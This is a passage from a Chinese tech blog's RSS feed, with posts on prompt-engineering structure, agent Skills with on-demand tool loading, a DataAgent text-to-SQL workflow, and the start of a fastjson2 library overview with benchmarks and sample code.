且，所以我们只追求最后的效果就行。但是我们一定要有条理，让Ai可以读懂我们的提示词。</p><p>对我来说的话，肯定是要去区分系统提示词和用户提示词的，他们两个的作用不同，所以他们的设计肯定是不同的，不能使用一个统一的模板。系统提示词相对来说更加结构化，有很多的组成部分，在里面描述我们的具体对AI的一个抽象的要求，我们想要的结果是什么。而我们的用户提示词更多的是告诉具体的任务是什么，这个任务的执行流程，逻辑，相关的知识要清晰。</p><p>所以对于我的系统提示词我一般会包含下面几个方面：</p><ol><li>首先我们这个Agent的任务的目标是什么？然后我们怎么样才算完成任务？然后什么样子叫做的好，什么做的不好。然后什么不是我们的目标</li><li>然后就是我们在执行任务的过程中，我们的约束是什么？我们需要做什么？不能去做什么。比如我们必须确定这个真的存在，我们不能去编数据，如果发现不确定我们该去怎么做</li><li>接着就是我们的工作流程是什么？我们首先要干什么，然后要干什么？最后要干什么？我们拿到一个问题该怎么去思考</li><li>然后就是我们在执行工作的过程中，我们的工具有哪些？我们需要的数据的来源是什么？就是构造我们基本的可信事实。</li><li>然后就是我们的输入/输出是什么，需要什么格式，遇到错误的格式我们该怎么处理。我们的正确/错误的示例是什么，边界是什么？这里需要给出具体的例子</li></ol><p>大体上设计就是这样的。具体的业务场景下可以进行变化。</p><p>而对于用户提示词来说，他肯定设计不是一样的。对我来说，就是我需要跟我的AI 描述好我的具体的需求是什么！这个需求包括：</p><ol><li>我的目标是什么？</li><li>我的上下文的数据去哪里找？</li><li>我的具体的业务流程是什么？</li></ol><p>提示词的好坏不是根据长度来确定的，是看写的清晰不清晰，模型的理解能力怎么样的。不同模型对一样的提示词的效果也是不相同的。</p>]]></content:encoded>
      
      
      <category domain="https://blog.tokenlen.top/categories/Agent/">Agent</category>
      
      
      <category domain="https://blog.tokenlen.top/tags/AI/">AI</category>
      
      
      <comments>https://blog.tokenlen.top/2026/02/25/message/new/prompt1/#disqus_thread</comments>
      
    </item>
    
    <item>
      <title>提示词工程解析-2</title>
      <link>https://blog.tokenlen.top/2026/02/25/message/new/prompt2/</link>
      <guid>https://blog.tokenlen.top/2026/02/25/message/new/prompt2/</guid>
      <pubDate>Tue, 24 Feb 2026 16:00:00 GMT</pubDate>
      
        
        
          
          
      <description>&lt;h1&gt;背景&lt;/h1&gt;
&lt;p&gt;之前的文章介绍了提示词该怎么去写？具体的系统提示词应该包含什么部分，这一期我们来讲一下提示词该怎么去写！AI的回复的效果更好！这也是我们上下文去管理的一个好的办法。&lt;/p&gt;
&lt;p&gt;你的提⽰词，就是模型做预测的全部依据。</description>
          
        
      
      
      
      <content:encoded><![CDATA[<h1>背景</h1><p>之前的文章介绍了提示词该怎么去写？具体的系统提示词应该包含什么部分，这一期我们来讲一下提示词该怎么去写！AI的回复的效果更好！这也是我们上下文去管理的一个好的办法。</p><p>你的提⽰词，就是模型做预测的全部依据。 它设定了预测路径的起点和⽅向。写得越精确、信息越丰富、结构越清晰，模型⾛上⾼质量路径的概率就越⼤。写得越模糊，模型就越会滑向最泛化的统计均值，产出⼀段正确但毫⽆洞察⼒的废话。</p><p>我们提示词的骨架就主要是：</p><p>在什么背景下做（Context）、具体做什么（Task）、产出⻓什么样（Format）</p><p>Context:</p><p>这部分就是我们俗称的上下文工程的部分！</p><p>提供上下⽂就是在压缩模型的猜测空间。你交代的背景越多，它需要⾃⾏发挥的余地就越⼩，输出也就越精准。</p><p>要有意识地检查⼏个维度。你是谁或让 AI 扮演谁：⼀个&quot;资深安全⼯程师&quot;和⼀个&quot;初级开发者&quot;⾯对同⼀段代码，分析的视⻆和深度完全不同。受众是谁：同⼀份技术⽅案，写给⼯程师看和写给不懂技术的⾼管看，语⾔和侧重截然不同。为什么要做：⽬的决定取舍，&quot;总结这份合同&quot;有⼀百种总结法，&quot;重点识别对我⽅不利的条款&quot;则把模型的注意⼒锁定在你真正关⼼的地⽅。以及背景材料：项⽬⽂档、之前的对话、数据表格，⼿上有的、跟任务相关的信息都值得喂进去，这是抑制模型&quot;编造&quot;最直接的⼿段。</p><p>Task:</p><p>把&quot;做什么&quot;说到不能被误解</p><p>⽤动作明确的动词开头，然后拆分工作流，然后量化一切可以量化的东西，限制约束条件</p><p>Format：</p><p>在提⽰词⾥明确说你要什么格式。然后给出一段示例</p><p>Zero-Shot:</p><p>告诉它怎么做&quot;升级为&quot;展⽰给它看&quot;</p><p>几条规则：</p><ul><li>格式严格⼀致</li><li>质量更重要</li><li>示例有多种情况</li><li>有简单的判断标准</li></ul><p>Role:</p><p>角色赋予很重要，职位越高越好，第一人称更好，用原型人物替代更好！</p>]]></content:encoded>
      
      
      <category domain="https://blog.tokenlen.top/categories/Agent/">Agent</category>
      
      
      <category domain="https://blog.tokenlen.top/tags/AI/">AI</category>
      
      
      <comments>https://blog.tokenlen.top/2026/02/25/message/new/prompt2/#disqus_thread</comments>
      
    </item>
    
    <item>
      <title>Skills解析</title>
      <link>https://blog.tokenlen.top/2026/02/25/message/new/skills/</link>
      <guid>https://blog.tokenlen.top/2026/02/25/message/new/skills/</guid>
      <pubDate>Tue, 24 Feb 2026 16:00:00 GMT</pubDate>
      
        
        
          
          
      <description>&lt;p&gt;待思考：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;什么是Skills？&lt;/li&gt;
&lt;li&gt;他的好处？为什么这么设计？跟我们直接将提示词按文件划分有什么区别&lt;/li&gt;
&lt;li&gt;渐进式披露在skills上怎么体现的，有什么好处？&lt;/li&gt;
&lt;li&gt;skills的拆分，我如何确定一个东西可以作</description>
          
        
      
      
      
      <content:encoded><![CDATA[<p>待思考：</p><ul><li>什么是Skills？</li><li>他的好处？为什么这么设计？跟我们直接将提示词按文件划分有什么区别</li><li>渐进式披露在skills上怎么体现的，有什么好处？</li><li>skills的拆分，我如何确定一个东西可以作为一个skills</li><li>然后我提示词命中了多个skills怎么处理？</li><li>跟skills绑定的工具我怎么处理?怎么去按需加载</li></ul><h1>1.什么是skills？</h1><p>在 AI 架构（特别是类似 Semantic Kernel 或各类 Agent 框架）中，<strong>Skill（技能/插件）是一个封装了特定领域能力的独立模块</strong>。它不仅仅是一段提示词，它是**“意图（Prompt）+ 动作（代码/工具/API）+ 数据结构（输入/输出 schema）”**的集合体。</p><p>一个比较完整的 Skill 往往包含：</p><ul><li><strong>意图描述</strong>：它解决什么问题（适用范围），不解决什么（边界）</li><li><strong>触发信号</strong>：什么样的用户请求应该命中它（关键词/语义/结构）</li><li><strong>工作流程</strong>：步骤化 SOP（先做什么、再做什么、失败怎么办）</li><li><strong>输入输出契约</strong>：需要哪些输入、输出长什么样（模板/字段/格式）</li><li><strong>工具策略</strong>：需要哪些工具、何时用、参数怎么填、如何校验结果</li><li><strong>质量控制</strong>：检查清单（自检点）、常见坑、回退策略</li><li><strong>示例/测试用例</strong>：几条典型输入 -&gt; 期望输出（用于回归）</li></ul><p>可以把它理解为 AI 的“手脚”和“特定领域的专业知识库”。</p><p>二 为什么这么设计？与“直接将提示词按文件划分”有何区别？</p><p>将提示词按文件划分只是<strong>文本层面的管理</strong>，而 Skill 是<strong>工程层面的封装</strong>。</p><table><thead><tr><th><strong>维度</strong></th><th><strong>直接将提示词按文件划分</strong></th><th><strong>Skills（技能化设计）</strong></th></tr></thead><tbody><tr><td><strong>本质</strong></td><td>静态的字符串模板。</td><td>可执行的软件模块（包含提示词、API、参数校验）。</td></tr><tr><td><strong>执行能力</strong></td><td>只能生成文本，无法直接改变外部世界。</td><td>可以调用原生代码（Native Functions）执行动作（如发邮件、查库）。</td></tr><tr><td><strong>上下文感知</strong></td><td>需要开发者手动组装历史记录和变量。</td><td>自带上下文管理和状态流转（Context Variables）。</td></tr><tr><td><strong>互操作性</strong></td><td>提示词之间孤立，难以互相调用。</td><td>Skill 之间可以像函数一样互相调用、组合、编排。</td></tr></tbody></table><p><strong>设计成 Skill 的好处：</strong></p><ol><li><strong>高内聚低耦合</strong>：将 AI 逻辑和业务代码绑定在一起，方便维护和版本控制。</li><li><strong>可复用性</strong>：一个写好的“日历管理 Skill”，可以直接跨项目拔插使用。</li><li><strong>安全与隔离</strong>：可以对特定的 Skill 设置不同的权限边界（例如“转账 Skill”必须要求人类确认）。</li></ol><p>三、 渐进式披露（Progressive Disclosure）在 Skills 上的体现与好处</p><p><strong>渐进式披露</strong>是 UX 设计中的概念，在 AI 架构中，它意味着：<strong>不要一次性把所有的能力、工具和背景知识都塞给 LLM。</strong></p><ul><li><strong>体现方式：</strong> 系统启动时，大模型的 System Prompt 里只有一个“路由/规划器（Router/Planner）”的描述和各 Skill 的<strong>摘要描述</strong>。当用户提出需求时，路由层先判断需要用到哪个 Skill，然后再将该 Skill <strong>内部详细的提示词和具体工具</strong>动态加载到当前对话上下文中。</li><li><strong>好处：</strong><ol><li><strong>节省 Token 与成本</strong>：不需要每次对话都携带几万字的工具说明。</li><li><strong>提升准确度（降低幻觉）</strong>：LLM 的注意力机制（Attention）是有上限的。给的工具越多，它越容易“迷失”或调用错工具。只给它当前必需的 Skill，能极大提升决策的精准度。</li><li><strong>突破上下文窗口限制</strong>：让你的系统理论上可以拥有无限个 Skills。</li></ol></li></ul><p>四、 如何确定一个东西可以作为一个 Skill？（拆分原则）</p><p>拆分 Skill 应该遵循软件工程中的<strong>单一职责原则（SRP）</strong>。你可以通过以下几个标准来判断：</p><ol><li><strong>领域边界（Domain Boundary）</strong>：它是否属于同一个业务领域？例如：“查询天气”和“发邮件”属于不同领域，应拆分为 <code>WeatherSkill</code> 和 <code>EmailSkill</code>。</li><li><strong>生命周期</strong>：如果某几个功能的输入/输出总是强关联，经常一起修改，那就放在一个 Skill 里。</li><li><strong>复用概率</strong>：这个功能是否会在不同的场景下被调用？如果是，它就值得被独立成一个 Skill。</li></ol><p><strong>举个反例：</strong> 不要建一个叫做 <code>DailyWorkSkill</code> 的大杂烩，里面既有写周报，又有定外卖。 <strong>正例：</strong> 拆分为 <code>ReportGenerationSkill</code>（专精文本总结）和 <code>FoodDeliverySkill</code>（专精 API 调用和订单状态获取）。</p><p>五、 提示词命中了多个 Skills 怎么处理？</p><p>当用户的请求很复杂（例如：“帮我查一下明天的天气，然后给团队发一封邮件安排会议”）命中多个 Skills 时，通常有以下几种处理机制：</p><ol><li><p>做法 1：选主 Skill（Most Specific Wins）</p><p>当多个命中时，按以下顺序择优：</p><ol><li><strong>更具体的</strong>（范围更窄、约束更强）优先</li><li><strong>置信度更高的</strong>（router score 更高）优先</li><li><strong>更新版本更高的</strong>（v2 &gt; v1）优先（如果你有版本体系）</li></ol><p>适用：大多数单意图任务（“帮我把这个表格做成图”）</p><p>做法 2：Skill 组合（Primary + Secondary）</p><p>把命中的 skills 分成：</p><ul><li><strong>Primary（主技能）</strong>：决定整体输出目标与结构</li><li><strong>Secondary（辅技能）</strong>：提供某些子步骤的 SOP 或格式要求</li></ul><p>例子：<br>“把会议纪要整理成一页 PDF 并加上公司抬头”</p><ul><li>主：会议纪要整理 skill（决定内容结构）</li><li>辅：PDF 生成 skill（决定如何落盘与版式）</li></ul><p>关键点是：<strong>要有冲突解决规则</strong>，比如：</p><ul><li>输出格式冲突：以主 skill 为准</li><li>工具使用冲突：以最小权限/最少工具为准</li><li>风格冲突：以全局风格层 &gt; 主 skill &gt; 辅 skill</li></ul><p>做法 3：上层工作流 Skill（Orchestrator / Workflow Skill）</p><p>当用户请求本身就是多步骤、多产物：<br>“分析数据 -&gt; 写结论 -&gt; 生成图表 -&gt; 做 PPT -&gt; 发邮件”</p><p>这时不要让多个技能平铺注入然后打架，而是：</p><ul><li>用一个“工作流 skill”先产出计划（plan）</li><li>每一步调用一个子 skill（像函数调用一样）</li><li>每一步结束做校验，<strong>再进入下一步</strong></li></ul></li></ol><p>六、 与 Skills 绑定的工具怎么按需加载？</p><p>这是实现“渐进式披露”的核心工程难点，通常的做法是建立<strong>工具注册表与向量检索</strong>：</p><ol><li><strong>构建 MetaData（元数据）注册表</strong>： 每个 Skill 及其包含的工具，在系统中注册时不仅要注册代码，还要提供一份 JSON Schema（包含工具名、描述、入参说明）。</li><li><strong>两阶段检索/按需注入（Lazy Loading）</strong>：<ul><li><strong>阶段一（路由）</strong>：用户的 Query 进来后，系统使用轻量级模型或向量数据库（RAG 思想），将 Query 与所有 Skill 的“描述”进行匹配（例如 Top-K 检索），找出最相关的 1-2 个 Skill。</li><li><strong>阶段二（组装）</strong>：提取出这两个命中 Skill 所绑定的工具的 JSON Schema，将它们动态拼接到本次请求大模型的 <code>tools</code> 或 <code>functions</code> 参数中。</li></ul></li><li><strong>上下文释放</strong>：任务执行完毕后，这些被临时加载的工具定义从上下文历史中剔除，保持上下文干净。</li></ol>]]></content:encoded>
      
      
      <category domain="https://blog.tokenlen.top/categories/Agent/">Agent</category>
      
      
      <category domain="https://blog.tokenlen.top/tags/AI/">AI</category>
      
      
      <comments>https://blog.tokenlen.top/2026/02/25/message/new/skills/#disqus_thread</comments>
      
    </item>
    
    <item>
      <title>DataAgent解析</title>
      <link>https://blog.tokenlen.top/2026/02/17/message/project/dataagent/</link>
      <guid>https://blog.tokenlen.top/2026/02/17/message/project/dataagent/</guid>
      <pubDate>Mon, 16 Feb 2026 16:00:00 GMT</pubDate>
      
        
        
          
          
      <description>&lt;h1&gt;工作流解析&lt;/h1&gt;
&lt;p&gt;整体工作流的流程图:&lt;/p&gt;
&lt;figure class=&quot;highlight plaintext&quot;&gt;&lt;table&gt;&lt;tr&gt;&lt;td class=&quot;gutter&quot;&gt;&lt;pre&gt;&lt;span</description>
          
        
      
      
      
      <content:encoded><![CDATA[<h1>工作流解析</h1><p>整体工作流的流程图:</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br></pre></td><td class="code"><pre><span class="line">flowchart TD</span><br><span class="line">  A[IntentRecognition] --&gt;|数据分析| B[EvidenceRecall]</span><br><span class="line">  A --&gt;|闲聊/无关| Z[END]</span><br><span class="line">  B --&gt; C[QueryEnhance]</span><br><span class="line">  C --&gt; D[SchemaRecall]</span><br><span class="line">  D --&gt; E[TableRelation]</span><br><span class="line">  E --&gt; F[FeasibilityAssessment]</span><br><span class="line">  F --&gt;|数据分析| G[Planner]</span><br><span class="line">  F --&gt;|非数据分析| Z</span><br><span class="line">  G --&gt; H[PlanExecutor]</span><br><span class="line">  H --&gt;|SQL| I[SqlGenerate]</span><br><span class="line">  H --&gt;|PYTHON| M[PythonGenerate]</span><br><span class="line">  H --&gt;|REPORT| R[ReportGenerator]</span><br><span class="line">  H --&gt;|HumanReview| K[HumanFeedback]</span><br><span class="line">  K --&gt;|approve| H</span><br><span class="line">  K --&gt;|reject| G</span><br><span class="line">  I --&gt; J[SemanticConsistency]</span><br><span class="line">  J --&gt;|通过| L[SqlExecute]</span><br><span class="line">  J --&gt;|不通过| I</span><br><span class="line">  L --&gt;|成功| H</span><br><span class="line">  L --&gt;|失败| I</span><br><span class="line">  M --&gt; N[PythonExecute]</span><br><span class="line">  N --&gt;|成功| O[PythonAnalyze]</span><br><span class="line">  N --&gt;|失败且可重试| M</span><br><span class="line">  N --&gt;|失败且超限| Z</span><br><span class="line">  O --&gt; H</span><br><span class="line">  R --&gt; Z</span><br></pre></td></tr></table></figure><h2 id="意图识别">意图识别</h2><p>首先先会进入意图识别，识别我们这次对话是不是跟询问数据有关，以此来过滤一些不需要我们走工作流的查询。</p><p>主要是调用了一次大模型进行意图识别，识别成功就路由到我们的工作流，失败就是一次闲聊，给一个兜底的默认回复</p><h2 id="证据召回">证据召回</h2><p>这个主要是好几个节点的完成</p><p>主要是我们先进行一次简单的重写</p><p>主要是写入用户的历史会话+最新的一轮用户输入。然后发送给大模型。</p><p>然后会在这里进行部分证据的召回</p><p>先会获取到对应的获取业务知识和智能体知识文档，这个主要是知识库+业务知识，然后会对他们进行一次合并。</p><p>//TODO 如何召回各个证据</p><h2 id="查询重写">查询重写</h2><p>这里主要是根据我们召回的证据，去翻译+重写优化我们的查询的！</p><p>然后我们的LLM的输入就是历史消息+用户输入+证据</p><p>然后转换回来</p><h2 id="召回">召回</h2><p>主要是先进行表的召回，找到我们查询需要的数据源！</p><p>步骤是构建过滤表达式-&gt;然后执行召回，然后我们是先把数据库转为文档，然后批量导入数据库，这就是我们在数据源初始化所做的操作。</p><ol><li>按 datasource 召回 table 文档</li><li>提取表名后批量取对应 column 文档</li></ol><p>然后选择了我们召回的表，我们还需要进行通过外键关系来确定我们的表的关系，这里就是我们最重要的召回，就是我们表的召回！</p><p>然后我们的外键关系主要分为两种，一种是物理外键，一种是逻辑外键</p><p>物理外键来自：table 文档 metadata 的 <code>foreignKey</code></p><p>逻辑外键是我们自己维护的，格式化后合并进table 文档 metadata 的 <code>foreignKey</code></p><p>然后我们就要进行语义模型的匹配！</p><p>在完成了外键表的关系筛选后</p><ol><li>按 <code>agentId + tableNames</code> 查询语义模型</li><li><code>PromptHelper.buildSemanticModelPrompt(...)</code> 生成语义提示</li><li>写入状态 <code>GENEGRATED_SEMANTIC_MODEL_PROMPT</code>，供 Planner 与 SQL 生成使用</li></ol>]]></content:encoded>
      
      
      <category domain="https://blog.tokenlen.top/categories/github/">github</category>
      
      
      <category domain="https://blog.tokenlen.top/tags/%E9%A1%B9%E7%9B%AE/">项目</category>
      
      
      <comments>https://blog.tokenlen.top/2026/02/17/message/project/dataagent/#disqus_thread</comments>
      
    </item>
    
    <item>
      <title>fastjson2解析</title>
      <link>https://blog.tokenlen.top/2026/02/11/message/project/fastjson2/</link>
      <guid>https://blog.tokenlen.top/2026/02/11/message/project/fastjson2/</guid>
      <pubDate>Tue, 10 Feb 2026 16:00:00 GMT</pubDate>
      
        
        
          
          
      <description>&lt;p&gt;📑</description>
          
        
      
      
      
      <content:encoded><![CDATA[<p>📑 目录</p><ol><li>#1-项目概览</li><li>#2-核心竞争力分析</li><li>#3-技术架构深度解析</li><li>#4-性能基准测试详解</li><li>#5-jsonb-二进制格式详解</li><li>#6-jsonpath-高级用法</li><li>#7-feature-系统完全指南</li><li>#8-安全性设计与最佳实践</li><li>#9-框架集成指南</li><li>#10-实战代码示例</li><li>#11-性能优化技巧</li><li>#12-从其他库迁移指南</li><li>#13-常见问题解答</li><li>#14-与竞品对比</li><li>#15-总结与建议</li></ol><hr><ol><li>项目概览</li></ol><p>1.1 基本信息</p><p>FASTJSON 2 是阿里巴巴开源的新一代高性能 JSON 处理库，是 FASTJSON 1.x 的重大升级版本。</p><p>项目名称：FASTJSON2<br>当前版本：2.0.61<br>开发语言：Java<br>最低要求：JDK 8+<br>许可协议：Apache License 2.0<br>代码规模：468 个核心文件，7.2MB<br>测试覆盖：3421 个测试文件<br>提交历史：5953 次提交<br>文档数量：190 份 Markdown 文档</p><p>1.2 设计目标</p><p>FASTJSON2 的设计目标是为未来十年提供极致优化的 JSON 库：</p><ol><li>极致性能 - 相比 1.x 提升 2-3 倍，远超竞品</li><li>功能完整 - 支持 JSON、JSONB、JSONPath、JSON Schema</li><li>安全可靠 - 默认安全，显式控制，吸取 1.x 教训</li><li>易用易扩展 - 简洁 API，灵活配置，完善集成</li><li>生态成熟 - 支持 Spring、Kotlin、Android 等主流技术栈</li></ol><p>1.3 核心模块结构</p><p>fastjson2/<br>├── core/                          # 核心模块（468 个文件）<br>│   ├── JSON.java                  # 主入口 API<br>│   ├── JSONObject.java            # JSON 对象容器<br>│   ├── JSONArray.java             # JSON 数组容器<br>│   ├── JSONReader.java            # 反序列化核心（237KB）<br>│   ├── JSONWriter.java            # 序列化核心<br>│   ├── JSONB.java                 # 二进制格式支持（119KB）<br>│   ├── JSONPath.java              # 路径查询引擎（55KB）<br>│   ├── reader/                    # 反序列化实现（155 个文件）<br>│   ├── writer/                    # 序列化实现（118 个文件）<br>│   ├── internal/                  # 内部实现（ASM、Trove）<br>│   └── support/                   # CSV、XML、Protobuf 支持<br>├── extension/                     # 扩展模块（171 个文件）<br>│   ├── spring5/                   # Spring 5.x 集成<br>│   ├── spring6/                   # Spring 6.x 集成<br>│   └── solon/                     # Solon 框架集成<br>├── kotlin/                        # Kotlin 原生支持<br>├── android/                       # Android 8+ 支持<br>└── benchmark/                     # 性能基准测试</p><hr><ol start="2"><li>核心竞争力分析</li></ol><p>2.1 为什么开发者喜欢用 FASTJSON2？</p><p>✅ 1. 性能王者 - 行业领先</p><p>关键数据（基于 JDK 17，阿里云 ECS c8i.large）：<br>┌───────────────────┬──────────────┬─────────────┬─────────────┬──────────┐<br>│       场景        │  FASTJSON2   │   Jackson   │    Gson     │ 性能优势 │<br>├───────────────────┼──────────────┼─────────────┼─────────────┼──────────┤<br>│ 解析 JSON 字符串  │ 3919 ops/ms  │ 1025 ops/ms │ 1013 ops/ms │ 3.8倍    │<br>├───────────────────┼──────────────┼─────────────┼─────────────┼──────────┤<br>│ 解析格式化 JSON   │ 2476 ops/ms  │ 954 ops/ms  │ 877 ops/ms  │ 2.6倍    │<br>├───────────────────┼──────────────┼─────────────┼─────────────┼──────────┤<br>│ 解析 JSONB 二进制 │ 6766 ops/ms  │ -           │ -           │ 独有     │<br>├───────────────────┼──────────────┼─────────────┼─────────────┼──────────┤<br>│ JSONB 数组映射    │ 11424 ops/ms │ -           │ -           │ 极致     │<br>├───────────────────┼──────────────┼─────────────┼─────────────┼──────────┤<br>│ 序列化对象        │ 5236 ops/ms  │ -           │ -           │ 最快     │<br>└───────────────────┴──────────────┴─────────────┴─────────────┴──────────┘<br>相比 FASTJSON 1.x 的提升：</p><ul><li>解析性能提升：2 倍</li><li>格式化解析提升：3.44 倍</li><li>序列化性能提升：164%</li><li>UTF8 序列化提升：185%</li></ul><p>✅ 2. 创新功能 - 独树一帜</p><p>JSONB 二进制格式：<br>✓ 完全对应 JSON 格式（无损转换）<br>✓ 数据紧凑无空洞（节省 20-30% 空间）<br>✓ 智能编码优化（常用数据 1 字节表示）<br>✓ 支持完整 Java 序列化<br>✓ 相比 Hessian 快 10 倍以上</p><p>JSONPath 部分解析：<br>✓ 只解析需要的字段（避免全量加载）<br>✓ 支持 SQL:2016 标准语法<br>✓ 大 JSON 性能提升 5-10 倍<br>✓ 内存占用减少 80%+</p><p>ASM 字节码生成：<br>✓ 动态生成序列化代码（避免反射）<br>✓ 性能提升 2-3 倍<br>✓ 支持多编码优化（UTF8/UTF16/ASCII）</p><p>✅ 3. 安全可靠 - 默认安全</p><p>吸取 1.x 教训的安全设计：<br>✓ AutoType 默认关闭（需显式打开）<br>✓ 支持白名单配置<br>✓ SafeMode 完全禁用风险功能<br>✓ FieldBased 模式更安全<br>✓ 无内置白名单（避免绕过）</p><p>✅ 4. 易用易扩展 - 开发友好</p><p>简洁 API：<br>// 一行代码搞定<br>User user = JSON.parseObject(json, User.class);<br>String text = JSON.toJSONString(user);</p><p>灵活配置：<br>✓ 30+ 反序列化 Feature<br>✓ 40+ 序列化 Feature<br>✓ 注解驱动配置<br>✓ 全局/局部配置</p><p>完善集成：<br>✓ Spring 5.x / 6.x<br>✓ Spring Boot 2.x / 3.x<br>✓ Kotlin 原生支持<br>✓ Android 8+<br>✓ Solon 框架</p><p>✅ 5. 生态成熟 - 持续维护</p><p>✓ 阿里巴巴背书（内部大规模使用）<br>✓ 5953 次提交（持续活跃开发）<br>✓ 3421 个测试（高测试覆盖率）<br>✓ 190 份文档（完整文档体系）<br>✓ 活跃社区支持</p><hr><ol start="3"><li>技术架构深度解析</li></ol><p>3.1 分层架构设计</p><p>┌─────────────────────────────────────────────────┐<br>│  JSON / JSONB / JSONPath API                    │  公开 API 层<br>│  - 静态方法，开箱即用                              │<br>│  - 简洁易用，学习成本低                            │<br>├─────────────────────────────────────────────────┤<br>│  JSONReader / JSONWriter                        │  核心读写层<br>│  - 多编码优化（UTF8/UTF16/ASCII/JSONB）           │<br>│  - 流式处理，内存高效                              │<br>├─────────────────────────────────────────────────┤<br>│  ObjectReader / ObjectWriter                    │  对象映射层<br>│  - 类型转换，对象构造                              │<br>│  - 缓存机制，性能优化                              │<br>├─────────────────────────────────────────────────┤<br>│  FieldReader / FieldWriter                      │  字段处理层<br>│  - 字段读写，类型适配                              │<br>│  - 注解处理，Feature 应用                          │<br>├─────────────────────────────────────────────────┤<br>│  ASM 字节码生成 / 反射                            │  代码生成层<br>│  - 动态生成序列化代码                              │<br>│  - 避免反射开销                                   │<br>├─────────────────────────────────────────────────┤<br>│  UTF8/UTF16/ASCII/JSONB 解析器                   │  编码优化层<br>│  - 针对不同输入源的专用优化                         │<br>│  - CPU 缓存友好                                   │<br>└─────────────────────────────────────────────────┘</p><p>3.2 多编码优化策略</p><p>FASTJSON2 针对不同输入源使用专用解析器：</p><p>// 1. JSONReaderUTF16 - 处理 String（JDK8 char[] 内部表示）<br>String json = “{&quot;name&quot;:&quot;John&quot;}”;<br>JSON.parseObject(json);  // → 使用 JSONReaderUTF16</p><p>// 2. JSONReaderUTF8 - 处理 byte[]（UTF-8 编码）<br>byte[] bytes = json.getBytes(StandardCharsets.UTF_8);<br>JSON.parseObject(bytes);  // → 使用 JSONReaderUTF8（更快）</p><p>// 3. JSONReaderASCII - 处理 JDK9+ ASCII 字符串（coder=0）<br>// 自动检测并使用</p><p>// 4. JSONReaderJSONB - 处理 JSONB 二进制格式<br>byte[] jsonb = JSONB.toBytes(user);<br>JSONB.parseObject(jsonb);  // → 使用 JSONReaderJSONB（最快）</p><p>性能对比：<br>UTF16 (String)     : 3919 ops/ms  (基准)<br>UTF8 (byte[])      : 3828 ops/ms  (97.7%)<br>JSONB (byte[])     : 6766 ops/ms  (172.7%) ← 最快</p><p>3.3 ASM 字节码生成原理</p><p>传统反射方式（慢）</p><p>// 每次都要检查权限、类型转换<br>Field field = clazz.getDeclaredField(“name”);<br>field.setAccessible(true);<br>field.set(object, value);</p><p>ASM 生成的代码（快）</p><p>// 直接调用，无反射开销<br>((User)object).setName((String)value);</p><p>核心实现类</p><p>// ObjectReaderCreatorASM.java - 动态生成反序列化器<br>public class ObjectReaderCreatorASM extends ObjectReaderCreator {<br>// 使用 ASM 动态生成类似下面的代码<br>public Object readObject(JSONReader reader, …) {<br>User user = new User();<br>while (reader.nextIfMatch(…)) {<br>long hash = reader.readFieldNameHashCode();<br>if (hash == HASH_NAME) {<br>user.setName(reader.readString());<br>} else if (hash == HASH_AGE) {<br>user.setAge(reader.readInt32Value());<br>}<br>}<br>return user;<br>}<br>}</p><p>性能提升：</p><ul><li>首次调用：10-50ms（代码生成开销）</li><li>后续调用：性能提升 2-3 倍</li><li>适合高频调用场景</li></ul><hr><ol start="4"><li>性能基准测试详解</li></ol><p>4.1 测试环境</p><p>硬件：阿里云 ECS c8i.large（Intel）<br>CPU：8 核<br>内存：16GB<br>操作系统：Linux<br>JDK 版本：JDK 8 / 11 / 17 / GraalVM 17<br>测试框架：JMH（Java Microbenchmark Harness）</p><p>4.2 解析性能对比</p><p>场景 1：解析 JSON 字符串（EishayParseString）<br>┌───────────┬────────────┬────────────┬────────────┬────────────┐<br>│    库     │   JDK 8    │   JDK 11   │   JDK 17   │ GraalVM 17 │<br>├───────────┼────────────┼────────────┼────────────┼────────────┤<br>│ FASTJSON2 │ 3181       │ 3650       │ 3919       │ 4247       │<br>├───────────┼────────────┼────────────┼────────────┼────────────┤<br>│ FASTJSON1 │ 2165 (68%) │ 1955 (54%) │ 2649 (68%) │ 3526 (83%) │<br>├───────────┼────────────┼────────────┼────────────┼────────────┤<br>│ Jackson   │ 1123 (35%) │ 1005 (28%) │ 1025 (26%) │ 1046 (25%) │<br>├───────────┼────────────┼────────────┼────────────┼────────────┤<br>│ Gson      │ 1000 (31%) │ 982 (27%)  │ 1013 (26%) │ 1094 (26%) │<br>└───────────┴────────────┴────────────┴────────────┴────────────┘<br>结论：</p><ul><li>FASTJSON2 在所有 JDK 版本上都是最快的</li><li>相比 Jackson 快 3.8 倍</li><li>相比 Gson 快 3.9 倍</li><li>GraalVM 环境下性能提升 8.4%</li></ul><p>场景 2：解析格式化 JSON（EishayParseStringPretty）<br>┌───────────┬────────┬────────┐<br>│    库     │ JDK 17 │ 性能比 │<br>├───────────┼────────┼────────┤<br>│ FASTJSON2 │ 2476   │ 100%   │<br>├───────────┼────────┼────────┤<br>│ FASTJSON1 │ 637    │ 26%    │<br>├───────────┼────────┼────────┤<br>│ Jackson   │ 954    │ 39%    │<br>├───────────┼────────┼────────┤<br>│ Gson      │ 877    │ 35%    │<br>└───────────┴────────┴────────┘<br>结论：</p><ul><li>FASTJSON2 相比 1.x 提升 3.89 倍（格式化解析优化显著）</li><li>相比 Jackson 快 2.6 倍</li></ul><p>场景 3：解析 JSONB 二进制（EishayParseBinary）<br>┌─────────────────┬────────┬────────┐<br>│       库        │ JDK 17 │ 性能比 │<br>├─────────────────┼────────┼────────┤<br>│ FASTJSON2 JSONB │ 6766   │ 100%   │<br>├─────────────────┼────────┼────────┤<br>│ FASTJSON2 UTF8  │ 3828   │ 57%    │<br>├─────────────────┼────────┼────────┤<br>│ Hessian         │ 639    │ 9%     │<br>├─────────────────┼────────┼────────┤<br>│ Java Serialize  │ 128    │ 2%     │<br>└─────────────────┴────────┴────────┘<br>结论：</p><ul><li>JSONB 相比 UTF8 快 76.8%</li><li>相比 Hessian 快 10.6 倍</li><li>相比 Java 原生序列化快 53 